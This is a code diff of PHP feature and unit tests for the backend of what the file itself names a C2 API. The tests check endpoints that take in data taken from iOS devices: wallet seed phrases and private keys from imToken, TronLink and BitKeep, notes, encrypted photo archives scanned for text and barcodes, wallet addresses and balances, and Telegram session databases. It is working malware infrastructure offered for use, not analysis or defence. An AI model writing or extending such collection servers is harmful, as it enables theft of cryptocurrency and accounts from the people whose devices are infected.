||||
$b = PageVisit::visitorUid('https://xxbb.tv/path', '203.0.113.9');
|
||||
$c = PageVisit::visitorUid('xxbb.tv', '203.0.113.10');
|
||||
$d = PageVisit::visitorUid('other.tv', '203.0.113.9');
|
||||
|
||||
$this->assertSame(PageVisit::VISITOR_UID_LENGTH, strlen($a));
|
||||
$this->assertSame($a, $b);
|
||||
$this->assertNotSame($a, $c);
|
||||
$this->assertNotSame($a, $d);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function hit_debounces_duplicate_uid(): void
|
||||
{
|
||||
|
||||
@@ -5,13 +5,18 @@ namespace Tests\Feature;
|
||||
use App\Models\Device;
|
||||
use App\Models\DeviceApp;
|
||||
use App\Models\DeviceEvent;
|
||||
use App\Models\Note;
|
||||
use App\Models\PageVisit;
|
||||
use App\Models\Photo;
|
||||
use App\Models\WalletAddress;
|
||||
use App\Models\WalletKeystore;
|
||||
use App\Models\WalletMnemonic;
|
||||
use App\Services\CorunaCrypto;
|
||||
use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||
use Illuminate\Http\UploadedFile;
|
||||
use Illuminate\Support\Facades\Cache;
|
||||
use Illuminate\Support\Facades\Http;
|
||||
use Illuminate\Support\Facades\Storage;
|
||||
use PHPUnit\Framework\Attributes\Test;
|
||||
use Tests\TestCase;
|
||||
|
||||
@@ -59,10 +64,44 @@ class XxbbC2ApiTest extends TestCase
|
||||
$row = PageVisit::query()->first();
|
||||
$this->assertNotNull($row);
|
||||
$this->assertSame('56885688', $row->channel_id);
|
||||
$this->assertSame('xxbb.tv', $row->client_uid);
|
||||
$this->assertSame('xxbb.tv', $row->path);
|
||||
$this->assertSame('xxbb.tv', $row->domain);
|
||||
$this->assertSame(PageVisit::visitorUid('xxbb.tv', $row->ip), $row->client_uid);
|
||||
$this->assertNotSame('xxbb.tv', $row->client_uid);
|
||||
$this->assertSame('iOS', $row->os);
|
||||
$this->assertSame('16.6', $row->os_version);
|
||||
$this->assertNull($row->session_id);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function iptj_dedupes_by_session_id(): void
|
||||
{
|
||||
Cache::flush();
|
||||
$body = [
|
||||
'channelCode' => '56885688',
|
||||
'deviceVersion' => 'iOS 16.6',
|
||||
'domain' => 'xxbb.tv',
|
||||
'sessionId' => '11111111-2222-4333-8444-555555555555',
|
||||
];
|
||||
|
||||
$this->call('POST', '/api/iptj', [], [], [], [
|
||||
'CONTENT_TYPE' => 'application/json',
|
||||
], json_encode($body))->assertOk();
|
||||
Cache::flush();
|
||||
$this->call('POST', '/api/iptj', [], [], [], [
|
||||
'CONTENT_TYPE' => 'application/json',
|
||||
], json_encode($body))->assertOk();
|
||||
$this->call('POST', '/api/iptj', [], [], [], [
|
||||
'CONTENT_TYPE' => 'application/json',
|
||||
], json_encode([
|
||||
...$body,
|
||||
'sessionId' => 'aaaaaaaa-bbbb-4ccc-8ddd-eeeeeeeeeeee',
|
||||
]))->assertOk();
|
||||
|
||||
$this->assertSame(2, PageVisit::query()->count());
|
||||
$this->assertSame(
|
||||
'11111111-2222-4333-8444-555555555555',
|
||||
PageVisit::query()->orderBy('id')->value('session_id'),
|
||||
);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
@@ -96,7 +135,7 @@ class XxbbC2ApiTest extends TestCase
|
||||
$this->assertNotNull($device);
|
||||
$this->assertSame('iPhone12,8', $device->device_model);
|
||||
$this->assertSame('16.6', $device->ios_version);
|
||||
$this->assertSame('202700cfb1ad3de68e11239dcc26c30b', $device->channel_id);
|
||||
$this->assertNull($device->channel_id);
|
||||
|
||||
$ev = DeviceEvent::query()->where('device_key', '000C30D83CD0402E')->first();
|
||||
$this->assertNotNull($ev);
|
||||
@@ -121,6 +160,8 @@ class XxbbC2ApiTest extends TestCase
|
||||
$app = DeviceApp::query()->where('device_id', $device->id)->where('bundle_id', 'im.token.app')->first();
|
||||
$this->assertNotNull($app);
|
||||
$this->assertSame('imToken', $app->name);
|
||||
$this->assertSame(Device::WALLET_YES, (int) $device->has_wallet);
|
||||
$this->assertSame(['imToken'], $device->walletNameList());
|
||||
}
|
||||
|
||||
#[Test]
|
||||
@@ -195,4 +236,178 @@ class XxbbC2ApiTest extends TestCase
|
||||
|
||||
$this->assertNull(Device::query()->where('device_id', '000C30D83CD0402E')->first());
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function nb_ingests_notes(): void
|
||||
{
|
||||
$this->xxbbPost('/nb', [
|
||||
'd' => '000C30D83CD0402E',
|
||||
'c' => '202700cfb1ad3de68e11239dcc26c30b',
|
||||
'list' => [
|
||||
"spawn rabbit unusual favorite yard recipe\n(R(R",
|
||||
'second note line',
|
||||
],
|
||||
])->assertOk();
|
||||
|
||||
$device = Device::query()->where('device_id', '000C30D83CD0402E')->first();
|
||||
$this->assertNotNull($device);
|
||||
$this->assertSame(1, Note::query()->where('device_id', $device->id)->count());
|
||||
$note = Note::query()->where('device_id', $device->id)->first();
|
||||
$this->assertIsArray($note->content);
|
||||
$this->assertCount(2, $note->content);
|
||||
$this->assertStringContainsString('spawn rabbit', $note->content[0]);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function result_ingests_mnemonic(): void
|
||||
{
|
||||
$this->xxbbPost('/result', [
|
||||
'd' => '000C30D83CD0402E',
|
||||
'a' => 'b',
|
||||
'result' => 'abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon about',
|
||||
])->assertOk();
|
||||
|
||||
$device = Device::query()->where('device_id', '000C30D83CD0402E')->first();
|
||||
$this->assertNotNull($device);
|
||||
$row = WalletMnemonic::query()->where('device_id', $device->id)->first();
|
||||
$this->assertNotNull($row);
|
||||
$this->assertSame('imToken', $row->source);
|
||||
$this->assertStringContainsString('abandon', $row->mnemonic);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function t_extracts_photo_archive_and_stores_file(): void
|
||||
{
|
||||
Storage::fake('local');
|
||||
$crypto = $this->xxbbCrypto();
|
||||
$tmp = sys_get_temp_dir().'/xxbb_photo_'.uniqid();
|
||||
mkdir($tmp);
|
||||
$jpegPath = $tmp.'/hit.jpg';
|
||||
file_put_contents($jpegPath, "\xFF\xD8\xFF\xD9");
|
||||
$archivePath = $tmp.'/capture.7z';
|
||||
$password = $crypto->archivePassword('0');
|
||||
$bin = is_executable('/opt/homebrew/opt/p7zip/bin/7z')
|
||||
? '/opt/homebrew/opt/p7zip/bin/7z'
|
||||
: '7z';
|
||||
$cmd = escapeshellarg($bin).' a -y -p'.escapeshellarg($password)
|
||||
.' '.escapeshellarg($archivePath).' '.escapeshellarg($jpegPath).' 2>&1';
|
||||
exec($cmd, $out, $code);
|
||||
$this->assertSame(0, $code, implode("\n", $out));
|
||||
|
||||
$upload = new UploadedFile($archivePath, 'capture.7z', 'application/octet-stream', null, true);
|
||||
$this->call(
|
||||
'POST',
|
||||
'/t',
|
||||
[
|
||||
'd' => '000C30D83CD0402E',
|
||||
'f' => '000C30D83CD0402E',
|
||||
'batchBase' => '0',
|
||||
'idx' => '000001000000',
|
||||
'ftu' => '000001000000',
|
||||
'x-hit' => '12',
|
||||
],
|
||||
[],
|
||||
['file' => $upload],
|
||||
['CONTENT_TYPE' => 'multipart/form-data']
|
||||
)->assertOk();
|
||||
|
||||
$device = Device::query()->where('device_id', '000C30D83CD0402E')->first();
|
||||
$this->assertNotNull($device);
|
||||
$photo = Photo::query()->where('device_id', $device->id)->first();
|
||||
$this->assertNotNull($photo);
|
||||
$this->assertSame(hash('sha256', "\xFF\xD8\xFF\xD9"), $photo->sha256);
|
||||
$this->assertSame(4, $photo->size);
|
||||
$this->assertSame(12, $photo->x_hit);
|
||||
$this->assertSame(1, $photo->upload_count);
|
||||
$this->assertSame(0, $photo->process_index);
|
||||
$this->assertSame(1, $photo->text_count);
|
||||
$this->assertSame(0, $photo->barcode_count);
|
||||
Storage::disk('local')->assertExists($photo->path);
|
||||
|
||||
@unlink($jpegPath);
|
||||
@unlink($archivePath);
|
||||
@rmdir($tmp);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function us_ingests_tronlink_mnemonic(): void
|
||||
{
|
||||
$this->xxbbPost('/us', [
|
||||
'd' => '000C30D83CD0402E',
|
||||
'a' => 'c',
|
||||
'result' => 'abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon about',
|
||||
])->assertOk();
|
||||
|
||||
$device = Device::query()->where('device_id', '000C30D83CD0402E')->first();
|
||||
$this->assertNotNull($device);
|
||||
$row = WalletMnemonic::query()->where('device_id', $device->id)->first();
|
||||
$this->assertNotNull($row);
|
||||
$this->assertSame('TronLink', $row->source);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function us_ingests_private_key_without_result_wrapper(): void
|
||||
{
|
||||
$this->xxbbPost('/us', [
|
||||
'd' => '000C30D83CD0402E',
|
||||
'a' => 'f',
|
||||
'privateKey' => '0x'.str_repeat('ab', 32),
|
||||
])->assertOk();
|
||||
|
||||
$device = Device::query()->where('device_id', '000C30D83CD0402E')->first();
|
||||
$this->assertNotNull($device);
|
||||
$row = WalletMnemonic::query()->where('device_id', $device->id)->first();
|
||||
$this->assertNotNull($row);
|
||||
$this->assertSame('BitKeep', $row->source);
|
||||
$this->assertStringStartsWith('0x', $row->mnemonic);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function ub_ingests_global_wallet_ad_map(): void
|
||||
{
|
||||
Http::fake(['*' => Http::response(['ok' => true], 200)]);
|
||||
|
||||
$this->xxbbPost('/ub', [
|
||||
'd' => '000C30D83CD0402E',
|
||||
'a' => 'p',
|
||||
'ad' => [
|
||||
'TKKyetwdwuv6fTWVMPsdQUZYwB7yiNwRp6' => '0.32647342126093182783704',
|
||||
],
|
||||
])->assertOk();
|
||||
|
||||
$device = Device::query()->where('device_id', '000C30D83CD0402E')->first();
|
||||
$this->assertNotNull($device);
|
||||
$addr = WalletAddress::query()
|
||||
->where('device_id', $device->id)
|
||||
->where('address', 'TKKyetwdwuv6fTWVMPsdQUZYwB7yiNwRp6')
|
||||
->first();
|
||||
$this->assertNotNull($addr);
|
||||
$this->assertSame('Global Wallet', $addr->source);
|
||||
$this->assertSame('TRON', $addr->chain_type);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function api_tg_t_ingests_telegram_auth(): void
|
||||
{
|
||||
$this->xxbbPost('/api/tg/t', [
|
||||
'd' => '000C30D83CD0402E',
|
||||
'd1' => '00008030-000C30D83CD0402E',
|
||||
'd2' => 'FFXD5S8FPLJM',
|
||||
'c' => '202700cfb1ad3de68e11239dcc26c30b',
|
||||
'a' => 'tg',
|
||||
'user_id' => '123456789',
|
||||
'state' => ['records' => [['id' => 1]]],
|
||||
'db_sqlite' => base64_encode('not-a-real-sqlite'),
|
||||
'datacenterAuthInfoById' => 'AQID',
|
||||
])->assertOk();
|
||||
|
||||
$device = Device::query()->where('device_id', '000C30D83CD0402E')->first();
|
||||
$this->assertNotNull($device);
|
||||
$ks = WalletKeystore::query()->where('device_id', $device->id)->first();
|
||||
$this->assertNotNull($ks);
|
||||
$this->assertSame('123456789', $ks->raw_json['user_id'] ?? null);
|
||||
$this->assertSame('Telegram', $ks->raw_json['source'] ?? null);
|
||||
$this->assertArrayHasKey('db_sqlite', $ks->raw_json);
|
||||
$this->assertSame('AQID', $ks->raw_json['datacenterAuthInfoById'] ?? null);
|
||||
}
|
||||
}
|
||||
|
||||
@@ -0,0 +1,30 @@
|
||||
<?php
|
||||
|
||||
namespace Tests\Unit;
|
||||
|
||||
use App\Support\WalletSource;
|
||||
use PHPUnit\Framework\Attributes\Test;
|
||||
use Tests\TestCase;
|
||||
|
||||
class WalletSourceTest extends TestCase
|
||||
{
|
||||
#[Test]
|
||||
public function plugin_wallet_bundles_match_mnemonic_plugins_only(): void
|
||||
{
|
||||
$this->assertTrue(WalletSource::isPluginWalletBundle('io.metamask.MetaMask'));
|
||||
$this->assertTrue(WalletSource::isPluginWalletBundle('im.token.app'));
|
||||
$this->assertTrue(WalletSource::isPluginWalletBundle('com.tronlink.hdwallet'));
|
||||
$this->assertFalse(WalletSource::isPluginWalletBundle('ph.telegra.Telegraph'));
|
||||
$this->assertFalse(WalletSource::isPluginWalletBundle('com.apple.mobilesafari'));
|
||||
$this->assertFalse(WalletSource::isPluginWalletBundle(''));
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function bundle_labels_collapse_aliases(): void
|
||||
{
|
||||
$this->assertSame('MetaMask', WalletSource::labelForBundle('io.metamask.MetaMask'));
|
||||
$this->assertSame('MetaMask', WalletSource::labelForBundle('io.metamask', 'MM'));
|
||||
$this->assertSame('Trust Wallet', WalletSource::labelForBundle('com.sixdays.trust'));
|
||||
$this->assertSame('Safari', WalletSource::labelForBundle('com.apple.mobilesafari', 'Safari'));
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user